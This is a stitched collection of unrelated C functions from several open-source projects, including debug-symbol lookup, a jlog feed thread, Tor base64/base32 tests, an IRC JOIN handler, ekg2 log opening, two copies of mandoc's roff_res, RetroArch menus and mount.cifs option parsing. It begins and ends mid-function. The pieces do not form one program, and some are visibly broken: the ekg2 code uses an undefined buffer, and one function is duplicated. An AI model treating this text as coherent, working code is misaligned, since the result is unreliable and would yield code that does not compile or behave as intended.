llvm::object::MachOObjectFile *morigobj = (llvm::object::MachOObjectFile *)origerrorobj.get();
#else
llvm::object::MachOObjectFile *morigobj = (llvm::object::MachOObjectFile *)origerrorobj;
#endif
if (!getObjUUID(morigobj,uuid)) {
objfileentry_t entry = {obj,context,slide};
objfilemap[fbase] = entry;
return;
}
// On OS X debug symbols are not contained in the dynamic library and that's why
// we can't have nice things (easily). For now we only support .dSYM files in the same directory
// as the shared library. In the future we may use DBGCopyFullDSYMURLForUUID from CoreFoundation to make
// use of spotlight to find the .dSYM file.
char dsympath[PATH_MAX];
strlcpy(dsympath, dlinfo.dli_fname, sizeof(dsympath));
strlcat(dsympath, ".dSYM/Contents/Resources/DWARF/", sizeof(dsympath));
strlcat(dsympath, strrchr(dlinfo.dli_fname,'/')+1, sizeof(dsympath));
#ifdef LLVM35
ErrorOr<llvm::object::ObjectFile*> errorobj = llvm::object::ObjectFile::createObjectFile(dsympath);
#else
llvm::object::ObjectFile *errorobj = llvm::object::ObjectFile::createObjectFile(dsympath);
#endif
#else
#ifndef _OS_WINDOWS_
const char *fname = dlinfo.dli_fname;
#else
IMAGEHLP_MODULE64 ModuleInfo;
ModuleInfo.SizeOfStruct = sizeof(IMAGEHLP_MODULE64);
SymGetModuleInfo64(GetCurrentProcess(), (DWORD64)pointer, &ModuleInfo);
char *fname = ModuleInfo.LoadedImageName;
JL_PRINTF(JL_STDOUT,fname);
#endif
// On non OS X systems we need to mmap another copy because of the permissions on the mmaped
// shared library.
#ifdef LLVM35
ErrorOr<llvm::object::ObjectFile*> errorobj = llvm::object::ObjectFile::createObjectFile(fname);
#else
llvm::object::ObjectFile *errorobj = llvm::object::ObjectFile::createObjectFile(fname);
#endif
#endif
#ifdef LLVM35
if (errorobj) {
obj = errorobj.get();
#else
if (errorobj != NULL) {
obj = errorobj;
#endif
#ifdef _OS_DARWIN_
if (getObjUUID(morigobj,uuid2) && memcmp(uuid,uuid2,sizeof(uuid)) == 0) {
#endif
context = DIContext::getDWARFContext(obj);
slide = -(uint64_t)fbase;
#ifdef _OS_DARWIN_
}
#endif
#ifdef _OS_WINDOWS_
assert(obj->isCOFF());
llvm::object::COFFObjectFile *coffobj = (llvm::object::COFFObjectFile *)obj;
const llvm::object::pe32plus_header *pe32plus;
coffobj->getPE32PlusHeader(pe32plus);
if (pe32plus != NULL) {
slide = pe32plus->ImageBase-fbase;
}
else {
const llvm::object::pe32_header *pe32;
coffobj->getPE32Header(pe32);
if (pe32 == NULL) {
obj = NULL;
context = NULL;
}
else {
slide = pe32->ImageBase-fbase;
}
}
#endif
}
objfileentry_t entry = {obj,context,slide};
objfilemap[fbase] = entry;
}
else {
obj = it->second.obj;
context = it->second.ctx;
slide = it->second.slide;
}
lookup_pointer(context, name, line, filename, pointer+slide, jl_is_sysimg(dlinfo.dli_fname));
}
return;
}
void *
noit_jlog_thread_main(void *e_vptr) {
int mask, bytes_read, sleeptime, max_sleeptime;
eventer_t e = e_vptr;
acceptor_closure_t *ac = e->closure;
noit_jlog_closure_t *jcl = ac->service_ctx;
char inbuff[sizeof(jlog_id)];
mtev_memory_init_thread();
eventer_set_fd_blocking(e->fd);
max_sleeptime = DEFAULT_MSECONDS_BETWEEN_BATCHES;
if(ac->cmd == NOIT_JLOG_DATA_TEMP_FEED)
max_sleeptime = DEFAULT_TRANSIENT_MSECONDS_BETWEEN_BATCHES;
sleeptime = max_sleeptime;
while(1) {
jlog_id client_chkpt;
sleeptime = MIN(sleeptime, max_sleeptime);
jlog_get_checkpoint(jcl->jlog, ac->remote_cn, &jcl->chkpt);
jcl->count = jlog_ctx_read_interval(jcl->jlog, &jcl->start, &jcl->finish);
if(jcl->count < 0) {
char idxfile[PATH_MAX];
mtevL(noit_error, "jlog_ctx_read_interval: %s\n",
jlog_ctx_err_string(jcl->jlog));
switch (jlog_ctx_err(jcl->jlog)) {
case JLOG_ERR_FILE_CORRUPT:
case JLOG_ERR_IDX_CORRUPT:
jlog_repair_datafile(jcl->jlog, jcl->start.log);
jlog_repair_datafile(jcl->jlog, jcl->start.log + 1);
mtevL(noit_error,
"jlog reconstructed, deleting corresponding index.\n");
STRSETDATAFILE(jcl->jlog, idxfile, jcl->start.log);
strlcat(idxfile, INDEX_EXT, sizeof(idxfile));
unlink(idxfile);
STRSETDATAFILE(jcl->jlog, idxfile, jcl->start.log + 1);
strlcat(idxfile, INDEX_EXT, sizeof(idxfile));
unlink(idxfile);
goto alldone;
break;
default:
goto alldone;
}
}
if(jcl->count > MAX_ROWS_AT_ONCE) {
/* Artificially set down the range to make the batches a bit easier
* to handle on the stratcond/postgres end.
* However, we must have more data, so drop the sleeptime to 0
*/
jcl->count = MAX_ROWS_AT_ONCE;
jcl->finish.marker = jcl->start.marker + jcl->count;
}
if(jcl->count > 0) {
sleeptime = 0;
if(noit_jlog_push(e, jcl)) {
goto alldone;
}
/* Read our jlog_id accounting for possibly short reads */
bytes_read = 0;
while(bytes_read < sizeof(jlog_id)) {
int len;
if((len = e->opset->read(e->fd, inbuff + bytes_read,
sizeof(jlog_id) - bytes_read,
&mask, e)) <= 0)
goto alldone;
bytes_read += len;
}
memcpy(&client_chkpt, inbuff, sizeof(jlog_id));
/* Fix the endian */
client_chkpt.log = ntohl(client_chkpt.log);
client_chkpt.marker = ntohl(client_chkpt.marker);
if(memcmp(&jcl->chkpt, &client_chkpt, sizeof(jlog_id))) {
mtevL(noit_error,
"client %s submitted invalid checkpoint %u:%u expected %u:%u\n",
ac->remote_cn, client_chkpt.log, client_chkpt.marker,
jcl->chkpt.log, jcl->chkpt.marker);
goto alldone;
}
mtev_gettimeofday(&jcl->feed_stats->last_checkpoint, NULL);
jlog_ctx_read_checkpoint(jcl->jlog, &jcl->chkpt);
}
else {
/* we have nothing to write -- maybe we have no checks configured...
* If this is the case "forever", the remote might disconnect and
* we would never know. Do the painful work of detecting a
* disconnected client.
*/
struct pollfd pfd;
pfd.fd = e->fd;
pfd.events = POLLIN | POLLHUP | POLLRDNORM;
pfd.revents = 0;
if(poll(&pfd, 1, 0) != 0) {
/* normally, we'd recv PEEK|DONTWAIT. However, the client should
* not be writing to us. So, we know we can't have any legitimate
* data on this socket (true even though this is SSL). So, if we're
* here then "shit went wrong"
*/
mtevL(noit_error, "jlog client %s disconnected while idle\n",
ac->remote_cn);
goto alldone;
}
}
if(sleeptime) {
usleep(sleeptime * 1000); /* us -> ms */
}
sleeptime += 1000; /* 1 s */
}
alldone:
e->opset->close(e->fd, &mask, e);
mtev_atomic_dec32(&jcl->feed_stats->connections);
noit_jlog_closure_free(jcl);
acceptor_closure_free(ac);
mtev_memory_maintenance();
return NULL;
}
/** Run unit tests for misc crypto formatting functionality (base64, base32,
* fingerprints, etc) */
static void
test_crypto_formats(void)
{
char *data1 = NULL, *data2 = NULL, *data3 = NULL;
int i, j, idx;
data1 = tor_malloc(1024);
data2 = tor_malloc(1024);
data3 = tor_malloc(1024);
test_assert(data1 && data2 && data3);
/* Base64 tests */
memset(data1, 6, 1024);
for (idx = 0; idx < 10; ++idx) {
i = base64_encode(data2, 1024, data1, idx);
test_assert(i >= 0);
j = base64_decode(data3, 1024, data2, i);
test_eq(j,idx);
test_memeq(data3, data1, idx);
}
strlcpy(data1, "Test string that contains 35 chars.", 1024);
strlcat(data1, " 2nd string that contains 35 chars.", 1024);
i = base64_encode(data2, 1024, data1, 71);
test_assert(i >= 0);
j = base64_decode(data3, 1024, data2, i);
test_eq(j, 71);
test_streq(data3, data1);
test_assert(data2[i] == '\0');
crypto_rand(data1, DIGEST_LEN);
memset(data2, 100, 1024);
digest_to_base64(data2, data1);
test_eq(BASE64_DIGEST_LEN, strlen(data2));
test_eq(100, data2[BASE64_DIGEST_LEN+2]);
memset(data3, 99, 1024);
test_eq(digest_from_base64(data3, data2), 0);
test_memeq(data1, data3, DIGEST_LEN);
test_eq(99, data3[DIGEST_LEN+1]);
test_assert(digest_from_base64(data3, "###") < 0);
/* Encoding SHA256 */
crypto_rand(data2, DIGEST256_LEN);
memset(data2, 100, 1024);
digest256_to_base64(data2, data1);
test_eq(BASE64_DIGEST256_LEN, strlen(data2));
test_eq(100, data2[BASE64_DIGEST256_LEN+2]);
memset(data3, 99, 1024);
test_eq(digest256_from_base64(data3, data2), 0);
test_memeq(data1, data3, DIGEST256_LEN);
test_eq(99, data3[DIGEST256_LEN+1]);
/* Base32 tests */
strlcpy(data1, "5chrs", 1024);
/* bit pattern is: [35 63 68 72 73] ->
* [00110101 01100011 01101000 01110010 01110011]
* By 5s: [00110 10101 10001 10110 10000 11100 10011 10011]
*/
base32_encode(data2, 9, data1, 5);
test_streq(data2, "gvrwq4tt");
strlcpy(data1, "\xFF\xF5\x6D\x44\xAE\x0D\x5C\xC9\x62\xC4", 1024);
base32_encode(data2, 30, data1, 10);
test_streq(data2, "772w2rfobvomsywe");
/* Base16 tests */
strlcpy(data1, "6chrs\xff", 1024);
base16_encode(data2, 13, data1, 6);
test_streq(data2, "3663687273FF");
strlcpy(data1, "f0d678affc000100", 1024);
i = base16_decode(data2, 8, data1, 16);
test_eq(i,0);
test_memeq(data2, "\xf0\xd6\x78\xaf\xfc\x00\x01\x00",8);
/* now try some failing base16 decodes */
test_eq(-1, base16_decode(data2, 8, data1, 15)); /* odd input len */
test_eq(-1, base16_decode(data2, 7, data1, 16)); /* dest too short */
strlcpy(data1, "f0dz!8affc000100", 1024);
test_eq(-1, base16_decode(data2, 8, data1, 16));
tor_free(data1);
tor_free(data2);
tor_free(data3);
/* Add spaces to fingerprint */
{
data1 = tor_strdup("ABCD1234ABCD56780000ABCD1234ABCD56780000");
test_eq(strlen(data1), 40);
data2 = tor_malloc(FINGERPRINT_LEN+1);
add_spaces_to_fp(data2, FINGERPRINT_LEN+1, data1);
test_streq(data2, "ABCD 1234 ABCD 5678 0000 ABCD 1234 ABCD 5678 0000");
tor_free(data1);
tor_free(data2);
}
/* Check fingerprint */
{
test_assert(crypto_pk_check_fingerprint_syntax(
"ABCD 1234 ABCD 5678 0000 ABCD 1234 ABCD 5678 0000"));
test_assert(!crypto_pk_check_fingerprint_syntax(
"ABCD 1234 ABCD 5678 0000 ABCD 1234 ABCD 5678 000"));
test_assert(!crypto_pk_check_fingerprint_syntax(
"ABCD 1234 ABCD 5678 0000 ABCD 1234 ABCD 5678 00000"));
test_assert(!crypto_pk_check_fingerprint_syntax(
"ABCD 1234 ABCD 5678 0000 ABCD1234 ABCD 5678 0000"));
test_assert(!crypto_pk_check_fingerprint_syntax(
"ABCD 1234 ABCD 5678 0000 ABCD1234 ABCD 5678 00000"));
test_assert(!crypto_pk_check_fingerprint_syntax(
"ACD 1234 ABCD 5678 0000 ABCD 1234 ABCD 5678 00000"));
}
done:
tor_free(data1);
tor_free(data2);
tor_free(data3);
}
/*
* m_join
* parv[0] = sender prefix
* parv[1] = channel
* parv[2] = channel password (key)
*/
static void
m_join(struct Client *client_p,
struct Client *source_p,
int parc,
char *parv[])
{
struct Channel *chptr = NULL;
char *name, *key = NULL;
int i, flags = 0;
char *p = NULL, *p2 = NULL;
int successful_join_count = 0; /* Number of channels successfully joined */
if (*parv[1] == '\0')
{
sendto_one(source_p, form_str(ERR_NEEDMOREPARAMS),
me.name, parv[0], "JOIN");
return;
}
if (parc > 2)
{
key = strtoken(&p2, parv[2], ",");
}
for (name = strtoken(&p, parv[1], ","); name;
key = (key) ? strtoken(&p2, NULL, ",") : NULL,
name = strtoken(&p, NULL, ","))
{
if(!check_channel_name(name))
{
sendto_one(source_p, form_str(ERR_BADCHANNAME),
me.name, source_p->name, (unsigned char*)name);
continue;
}
/*
** JOIN 0 sends out a part for all channels a user
** has joined.
**
** this should be either disabled or selectable in
** config file .. it's abused a lot more than it's
** used these days :/ --is
*/
if (*name == '0' && !atoi(name))
{
if (source_p->user->channel.head == NULL)
continue;
do_join_0(&me,source_p);
continue;
}
/* check it begins with # or & */
else if(!IsChannelName(name))
{
sendto_one(source_p, form_str(ERR_NOSUCHCHANNEL),
me.name, source_p->name, name);
continue;
}
if(ConfigServerHide.disable_local_channels &&
(*name == '&'))
{
sendto_one(source_p, form_str(ERR_NOSUCHCHANNEL),
me.name, source_p->name, name);
continue;
}
/* check the length */
if (strlen(name) > CHANNELLEN)
{
sendto_one(source_p, form_str(ERR_BADCHANNAME),
me.name, source_p->name, name);
continue;
}
/* see if its resv'd */
if(find_channel_resv(name) &&
(!IsOper(source_p) || !ConfigChannel.no_oper_resvs))
{
sendto_one(source_p, form_str(ERR_UNAVAILRESOURCE),
me.name, source_p->name, name);
sendto_realops_flags(UMODE_SPY, L_ALL,
"User %s (%s@%s) is attempting to join locally juped channel %s",
source_p->name, source_p->username, source_p->host, name);
continue;
}
/* look for the channel */
if((chptr = hash_find_channel(name)) != NULL)
{
if(IsMember(source_p, chptr))
return;
if(splitmode && !IsOper(source_p) && (*name != '&') &&
ConfigChannel.no_join_on_split)
{
sendto_one(source_p, form_str(ERR_UNAVAILRESOURCE),
me.name, source_p->name, name);
continue;
}
if (chptr->users == 0)
flags = CHFL_CHANOP;
else
flags = 0;
}
else
{
if(splitmode && !IsOper(source_p) && (*name != '&') &&
(ConfigChannel.no_create_on_split || ConfigChannel.no_join_on_split))
{
sendto_one(source_p, form_str(ERR_UNAVAILRESOURCE),
me.name, source_p->name, name);
continue;
}
flags = CHFL_CHANOP;
}
if ((source_p->user->joined >= ConfigChannel.max_chans_per_user) &&
(!IsOper(source_p) || (source_p->user->joined >=
ConfigChannel.max_chans_per_user*3)))
{
sendto_one(source_p, form_str(ERR_TOOMANYCHANNELS),
me.name, parv[0], name);
if(successful_join_count)
source_p->localClient->last_join_time = CurrentTime;
return;
}
if(flags == 0) /* if channel doesn't exist, don't penalize */
successful_join_count++;
if(chptr == NULL) /* If I already have a chptr, no point doing this */
{
chptr = get_or_create_channel(source_p, name, NULL);
}
if(chptr == NULL)
{
sendto_one(source_p, form_str(ERR_UNAVAILRESOURCE),
me.name, parv[0], name);
if(successful_join_count > 0)
successful_join_count--;
continue;
}
if (!IsOper(source_p))
check_spambot_warning(source_p, name);
/* can_join checks for +i key, bans etc */
if ( (i = can_join(source_p, chptr, key)) )
{
sendto_one(source_p,
form_str(i), me.name, parv[0], name);
if(successful_join_count > 0)
successful_join_count--;
continue;
}
/* add the user to the channel */
add_user_to_channel(chptr, source_p, flags);
/* we send the user their join here, because we could have to
* send a mode out next.
*/
sendto_channel_local(ALL_MEMBERS, chptr, ":%s!%s@%s JOIN :%s",
source_p->name,
source_p->username,
source_p->host,
chptr->chname);
/* if theyre joining opped (ie, new chan or joining one thats
* persisting) then set timestamp to current, set +nt and
* broadcast the sjoin with its old modes, or +nt.
*/
if (flags & CHFL_CHANOP)
{
char mbuf[MODEBUFLEN];
char pbuf[MODEBUFLEN];
chptr->channelts = CurrentTime;
chptr->mode.mode |= MODE_TOPICLIMIT;
chptr->mode.mode |= MODE_NOPRIVMSGS;
sendto_channel_local(ONLY_CHANOPS, chptr, ":%s MODE %s +nt",
me.name, chptr->chname);
if(*chptr->chname == '#')
{
channel_modes(chptr, source_p, mbuf, pbuf);
strlcat(mbuf, " ", sizeof(mbuf));
if(pbuf[0] != '\0')
strlcat(mbuf, pbuf, sizeof(mbuf));
/* note: mbuf here will have a trailing space. we add one above,
* and channel_modes() will leave a trailing space on pbuf if
* its used --fl
*/
sendto_server(client_p, chptr, NOCAPS, NOCAPS,
":%s SJOIN %lu %s %s:@%s",
me.name, (unsigned long) chptr->channelts,
chptr->chname, mbuf, parv[0]);
}
/* drop our +beI modes */
free_channel_list(&chptr->banlist);
free_channel_list(&chptr->exceptlist);
free_channel_list(&chptr->invexlist);
}
else
{
sendto_server(client_p, chptr, NOCAPS, NOCAPS,
":%s SJOIN %lu %s + :%s",
me.name, (unsigned long) chptr->channelts,
chptr->chname, parv[0]);
}
del_invite(chptr, source_p);
if (chptr->topic != NULL)
{
sendto_one(source_p, form_str(RPL_TOPIC), me.name,
parv[0], chptr->chname, chptr->topic);
sendto_one(source_p, form_str(RPL_TOPICWHOTIME),
me.name, parv[0], chptr->chname,
chptr->topic_info,
chptr->topic_time);
}
channel_member_names(source_p, chptr, chptr->chname, 1);
if(successful_join_count)
source_p->localClient->last_join_time = CurrentTime;
}
}
static FILE* logs_open_file(char *path, int ff) {
char fullname[PATH_MAX];
#ifdef HAVE_ZLIB
int zlibmode = 0;
#endif
if (ff != LOG_FORMAT_IRSSI && ff != LOG_FORMAT_SIMPLE && ff != LOG_FORMAT_XML && ff != LOG_FORMAT_RAW) {
if (ff == LOG_FORMAT_NONE)
debug("[logs] opening log file %s with ff == LOG_FORMAT_NONE CANCELLED\n", __(path), ff);
else debug("[logs] opening log file %s with ff == %d CANCELED\n", __(path), ff);
return NULL;
}
debug("[logs] opening log file %s ff:%d\n", __(path), ff);
if (!path) {
errno = EACCES; /* = 0 ? */
return NULL;
}
{ /* check if such file was already open SLOW :( */
list_t l;
for (l=log_logs; l; l = l->next) {
logs_log_t *ll = l->data;
log_window_t *lw;
if (!ll || !(lw = ll->lw))
continue;
/* debug_error("here: %x [%s, %s] [%d %d]\n", lw->file, lw->path, path, lw->logformat, ff); */
if (lw->file && lw->logformat == ff && !xstrcmp(lw->path, path)) {
FILE *f = lw->file;
lw->file = NULL; /* simulate fclose() on this */
return f; /* simulate fopen() here */
}
}
}
if (mkdir_recursive(path, 0)) {
print("directory_cant_create", path, strerror(errno));
return NULL;
}
strlcpy(fullname, path, PATH_MAX);
if (ff == LOG_FORMAT_IRSSI) strlcat(fullname, ".log", PATH_MAX);
else if (ff == LOG_FORMAT_SIMPLE) strlcat(fullname, ".txt", PATH_MAX);
else if (ff == LOG_FORMAT_XML) strlcat(fullname, ".xml", PATH_MAX);
else if (ff == LOG_FORMAT_RAW) strlcat(fullname, ".raw", PATH_MAX);
#ifdef HAVE_ZLIB /* z log.c i starego ekg1. Wypadaloby zaimplementowac... */
/* nawet je¶li chcemy gzipowane logi, a istnieje nieskompresowany log,
* olewamy kompresjê. je¶li loga nieskompresowanego nie ma, dodajemy
* rozszerzenie .gz i balujemy. */
if (config_log & 4) {
struct stat st;
if (stat(fullname, &st) == -1) {
gzFile f;
if (!(f = gzopen(path, "a")))
return NULL;
gzputs(f, buf);
gzclose(f);
zlibmode = 1;
}
}
if (zlibmode) {
/* XXX, ustawic jakas flage... */
strlcat(fullname, ".gz", PATH_MAX);
}
#endif
/* if xml, prepare xml file */
if (ff == LOG_FORMAT_XML) {
FILE *fdesc = fopen(fullname, "r+");
if (!fdesc) {
if (!(fdesc = fopen(fullname, "w+")))
return NULL;
fputs("<?xml version=\"1.0\"?>\n", fdesc);
fputs("<!DOCTYPE ekg2log PUBLIC \"-//ekg2log//DTD ekg2log 1.0//EN\" ", fdesc);
fputs("\"http://www.ekg2.org/DTD/ekg2log.dtd\">\n", fdesc);
fputs("<ekg2log xmlns=\"http://www.ekg2.org/DTD/\">\n", fdesc);
fputs("</ekg2log>\n", fdesc);
}
return fdesc;
}
return fopen(fullname, "a+");
}
/*
* In the current line, expand user-defined strings ("\*")
* and references to number registers ("\n").
* Also check the syntax of other escape sequences.
*/
static enum rofferr
roff_res(struct roff *r, char **bufp, size_t *szp, int ln, int pos)
{
char ubuf[12]; /* buffer to print the number */
const char *stesc; /* start of an escape sequence ('\\') */
const char *stnam; /* start of the name, after "[(*" */
const char *cp; /* end of the name, e.g. before ']' */
const char *res; /* the string to be substituted */
char *nbuf; /* new buffer to copy bufp to */
size_t nsz; /* size of the new buffer */
size_t maxl; /* expected length of the escape name */
size_t naml; /* actual length of the escape name */
int expand_count; /* to avoid infinite loops */
expand_count = 0;
again:
cp = *bufp + pos;
while (NULL != (cp = strchr(cp, '\\'))) {
stesc = cp++;
/*
* The second character must be an asterisk or an n.
* If it isn't, skip it anyway: It is escaped,
* so it can't start another escape sequence.
*/
if ('\0' == *cp)
return(ROFF_CONT);
switch (*cp) {
case ('*'):
res = NULL;
break;
case ('n'):
res = ubuf;
break;
default:
if (ESCAPE_ERROR != mandoc_escape(&cp, NULL, NULL))
continue;
mandoc_msg
(MANDOCERR_BADESCAPE, r->parse,
ln, (int)(stesc - *bufp), NULL);
return(ROFF_CONT);
}
cp++;
/*
* The third character decides the length
* of the name of the string or register.
* Save a pointer to the name.
*/
switch (*cp) {
case ('\0'):
return(ROFF_CONT);
case ('('):
cp++;
maxl = 2;
break;
case ('['):
cp++;
maxl = 0;
break;
default:
maxl = 1;
break;
}
stnam = cp;
/* Advance to the end of the name. */
for (naml = 0; 0 == maxl || naml < maxl; naml++, cp++) {
if ('\0' == *cp) {
mandoc_msg
(MANDOCERR_BADESCAPE,
r->parse, ln,
(int)(stesc - *bufp), NULL);
return(ROFF_CONT);
}
if (0 == maxl && ']' == *cp)
break;
}
/*
* Retrieve the replacement string; if it is
* undefined, resume searching for escapes.
*/
if (NULL == res)
res = roff_getstrn(r, stnam, naml);
else
snprintf(ubuf, sizeof(ubuf), "%d",
roff_getregn(r, stnam, naml));
if (NULL == res) {
mandoc_msg
(MANDOCERR_BADESCAPE, r->parse,
ln, (int)(stesc - *bufp), NULL);
res = "";
}
/* Replace the escape sequence by the string. */
pos = stesc - *bufp;
nsz = *szp + strlen(res) + 1;
nbuf = mandoc_malloc(nsz);
strlcpy(nbuf, *bufp, (size_t)(stesc - *bufp + 1));
strlcat(nbuf, res, nsz);
strlcat(nbuf, cp + (maxl ? 0 : 1), nsz);
free(*bufp);
*bufp = nbuf;
*szp = nsz;
if (EXPAND_LIMIT >= ++expand_count)
goto again;
/* Just leave the string unexpanded. */
mandoc_msg(MANDOCERR_ROFFLOOP, r->parse, ln, pos, NULL);
return(ROFF_IGN);
}
return(ROFF_CONT);
}
/*
* Pre-filter each and every line for reserved words (one beginning with
* `\*', e.g., `\*(ab'). These must be handled before the actual line
* is processed.
* This also checks the syntax of regular escapes.
*/
static enum rofferr
roff_res(struct roff *r, char **bufp, size_t *szp, int ln, int pos)
{
enum mandoc_esc esc;
const char *stesc; /* start of an escape sequence ('\\') */
const char *stnam; /* start of the name, after "[(*" */
const char *cp; /* end of the name, e.g. before ']' */
const char *res; /* the string to be substituted */
int i, maxl, expand_count;
size_t nsz;
char *n;
expand_count = 0;
again:
cp = *bufp + pos;
while (NULL != (cp = strchr(cp, '\\'))) {
stesc = cp++;
/*
* The second character must be an asterisk.
* If it isn't, skip it anyway: It is escaped,
* so it can't start another escape sequence.
*/
if ('\0' == *cp)
return(ROFF_CONT);
if ('*' != *cp) {
res = cp;
esc = mandoc_escape(&cp, NULL, NULL);
if (ESCAPE_ERROR != esc)
continue;
cp = res;
mandoc_msg
(MANDOCERR_BADESCAPE, r->parse,
ln, (int)(stesc - *bufp), NULL);
return(ROFF_CONT);
}
cp++;
/*
* The third character decides the length
* of the name of the string.
* Save a pointer to the name.
*/
switch (*cp) {
case ('\0'):
return(ROFF_CONT);
case ('('):
cp++;
maxl = 2;
break;
case ('['):
cp++;
maxl = 0;
break;
default:
maxl = 1;
break;
}
stnam = cp;
/* Advance to the end of the name. */
for (i = 0; 0 == maxl || i < maxl; i++, cp++) {
if ('\0' == *cp) {
mandoc_msg
(MANDOCERR_BADESCAPE,
r->parse, ln,
(int)(stesc - *bufp), NULL);
return(ROFF_CONT);
}
if (0 == maxl && ']' == *cp)
break;
}
/*
* Retrieve the replacement string; if it is
* undefined, resume searching for escapes.
*/
res = roff_getstrn(r, stnam, (size_t)i);
if (NULL == res) {
mandoc_msg
(MANDOCERR_BADESCAPE, r->parse,
ln, (int)(stesc - *bufp), NULL);
res = "";
}
/* Replace the escape sequence by the string. */
pos = stesc - *bufp;
nsz = *szp + strlen(res) + 1;
n = mandoc_malloc(nsz);
strlcpy(n, *bufp, (size_t)(stesc - *bufp + 1));
strlcat(n, res, nsz);
strlcat(n, cp + (maxl ? 0 : 1), nsz);
free(*bufp);
*bufp = n;
*szp = nsz;
if (EXPAND_LIMIT >= ++expand_count)
goto again;
/* Just leave the string unexpanded. */
mandoc_msg(MANDOCERR_ROFFLOOP, r->parse, ln, pos, NULL);
return(ROFF_IGN);
}
return(ROFF_CONT);
}
static int general_push(menu_displaylist_info_t *info, unsigned id, unsigned type)
{
settings_t *settings = config_get_ptr();
global_t *global = global_get_ptr();
rarch_system_info_t *system = rarch_system_info_get_ptr();
menu_handle_t *menu = menu_driver_get_ptr();
const char *exts = core_info_list_get_all_extensions();
switch (id)
{
case PUSH_DEFAULT:
case PUSH_DETECT_CORE_LIST:
break;
default:
fill_pathname_join(info->path, menu->scratch2_buf,
menu->scratch_buf, sizeof(info->path));
fill_pathname_join(info->label, menu->scratch2_buf,
menu->scratch_buf, sizeof(info->label));
break;
}
info->type_default = MENU_FILE_PLAIN;
switch (id)
{
case PUSH_ARCHIVE_OPEN_DETECT_CORE:
info->setting = menu_setting_find(info->label);
if (exts)
strlcpy(info->exts, exts, sizeof(info->exts));
else if (global->menu.info.valid_extensions)
{
if (*global->menu.info.valid_extensions)
strlcpy(info->exts, global->menu.info.valid_extensions,
sizeof(info->exts));
}
else
strlcpy(info->exts, system->valid_extensions, sizeof(info->exts));
break;
case PUSH_ARCHIVE_OPEN:
info->setting = menu_setting_find(info->label);
if (global->menu.info.valid_extensions)
{
if (*global->menu.info.valid_extensions)
strlcpy(info->exts, global->menu.info.valid_extensions,
sizeof(info->exts));
}
else
strlcpy(info->exts, system->valid_extensions, sizeof(info->exts));
break;
case PUSH_DEFAULT:
info->setting = menu_setting_find(info->label);
if (menu_setting_get_browser_selection_type(info->setting) == ST_DIR)
{
}
else if (global->menu.info.valid_extensions)
{
if (*global->menu.info.valid_extensions)
strlcpy(info->exts, global->menu.info.valid_extensions,
sizeof(info->exts));
}
else
strlcpy(info->exts, system->valid_extensions, sizeof(info->exts));
break;
case PUSH_DETECT_CORE_LIST:
if (exts)
strlcpy(info->exts, exts, sizeof(info->exts));
break;
}
(void)settings;
if (settings->multimedia.builtin_mediaplayer_enable ||
settings->multimedia.builtin_imageviewer_enable)
{
struct retro_system_info sysinfo = {0};
(void)sysinfo;
#ifdef HAVE_FFMPEG
if (settings->multimedia.builtin_mediaplayer_enable)
{
libretro_ffmpeg_retro_get_system_info(&sysinfo);
strlcat(info->exts, "|", sizeof(info->exts));
strlcat(info->exts, sysinfo.valid_extensions, sizeof(info->exts));
}
#endif
#ifdef HAVE_IMAGEVIEWER
if (settings->multimedia.builtin_imageviewer_enable)
{
libretro_imageviewer_retro_get_system_info(&sysinfo);
strlcat(info->exts, "|", sizeof(info->exts));
strlcat(info->exts, sysinfo.valid_extensions, sizeof(info->exts));
}
#endif
}
return menu_displaylist_push_list(info, type);
}
static int parse_options(char ** optionsp, int * filesys_flags)
{
const char * data;
char * percent_char = NULL;
char * value = NULL;
char * next_keyword = NULL;
char * out = NULL;
int out_len = 0;
int word_len;
int rc = 0;
char user[32];
char group[32];
if (!optionsp || !*optionsp)
return 1;
data = *optionsp;
if(verboseflag)
printf("parsing options: %s\n", data);
/* BB fixme check for separator override BB */
if (getuid()) {
got_uid = 1;
snprintf(user,sizeof(user),"%u",getuid());
got_gid = 1;
snprintf(group,sizeof(group),"%u",getgid());
}
/* while ((data = strsep(&options, ",")) != NULL) { */
while(data != NULL) {
/* check if ends with trailing comma */
if(*data == 0)
break;
/* format is keyword=value,keyword2=value2,keyword3=value3 etc.) */
/* data = next keyword */
/* value = next value ie stuff after equal sign */
next_keyword = strchr(data,','); /* BB handle sep= */
/* temporarily null terminate end of keyword=value pair */
if(next_keyword)
*next_keyword++ = 0;
/* temporarily null terminate keyword to make keyword and value distinct */
if ((value = strchr(data, '=')) != NULL) {
*value = '\0';
value++;
}
if (strncmp(data, "users",5) == 0) {
if(!value || !*value) {
goto nocopy;
}
} else if (strncmp(data, "user_xattr",10) == 0) {
/* do nothing - need to skip so not parsed as user name */
} else if (strncmp(data, "user", 4) == 0) {
if (!value || !*value) {
if(data[4] == '\0') {
if(verboseflag)
printf("\nskipping empty user mount parameter\n");
/* remove the parm since it would otherwise be confusing
to the kernel code which would think it was a real username */
goto nocopy;
} else {
printf("username specified with no parameter\n");
return 1; /* needs_arg; */
}
} else {
if (strnlen(value, 260) < 260) {
got_user=1;
percent_char = strchr(value,'%');
if(percent_char) {
*percent_char = ',';
if(mountpassword == NULL)
mountpassword = (char *)calloc(65,1);
if(mountpassword) {
if(got_password)
printf("\nmount.cifs warning - password specified twice\n");
got_password = 1;
percent_char++;
strncpy(mountpassword, percent_char,64);
/* remove password from username */
while(*percent_char != 0) {
*percent_char = ',';
percent_char++;
}
}
}
/* this is only case in which the user
name buf is not malloc - so we have to
check for domain name embedded within
the user name here since the later
call to check_for_domain will not be
invoked */
domain_name = check_for_domain(&value);
} else {
printf("username too long\n");
return 1;
}
}
} else if (strncmp(data, "pass", 4) == 0) {
if (!value || !*value) {
if(got_password) {
printf("\npassword specified twice, ignoring second\n");
} else
got_password = 1;
} else if (strnlen(value, 17) < 17) {
if(got_password)
printf("\nmount.cifs warning - password specified twice\n");
got_password = 1;
} else {
printf("password too long\n");
return 1;
}
} else if (strncmp(data, "sec", 3) == 0) {
if (value) {
if (!strcmp(value, "none"))
got_password = 1;
}
} else if (strncmp(data, "ip", 2) == 0) {
if (!value || !*value) {
printf("target ip address argument missing");
} else if (strnlen(value, 35) < 35) {
if(verboseflag)
printf("ip address %s override specified\n",value);
got_ip = 1;
} else {
printf("ip address too long\n");
return 1;
}
} else if ((strncmp(data, "unc", 3) == 0)
|| (strncmp(data, "target", 6) == 0)
|| (strncmp(data, "path", 4) == 0)) {
if (!value || !*value) {
printf("invalid path to network resource\n");
return 1; /* needs_arg; */
} else if(strnlen(value,5) < 5) {
printf("UNC name too short");
}
if (strnlen(value, 300) < 300) {
got_unc = 1;
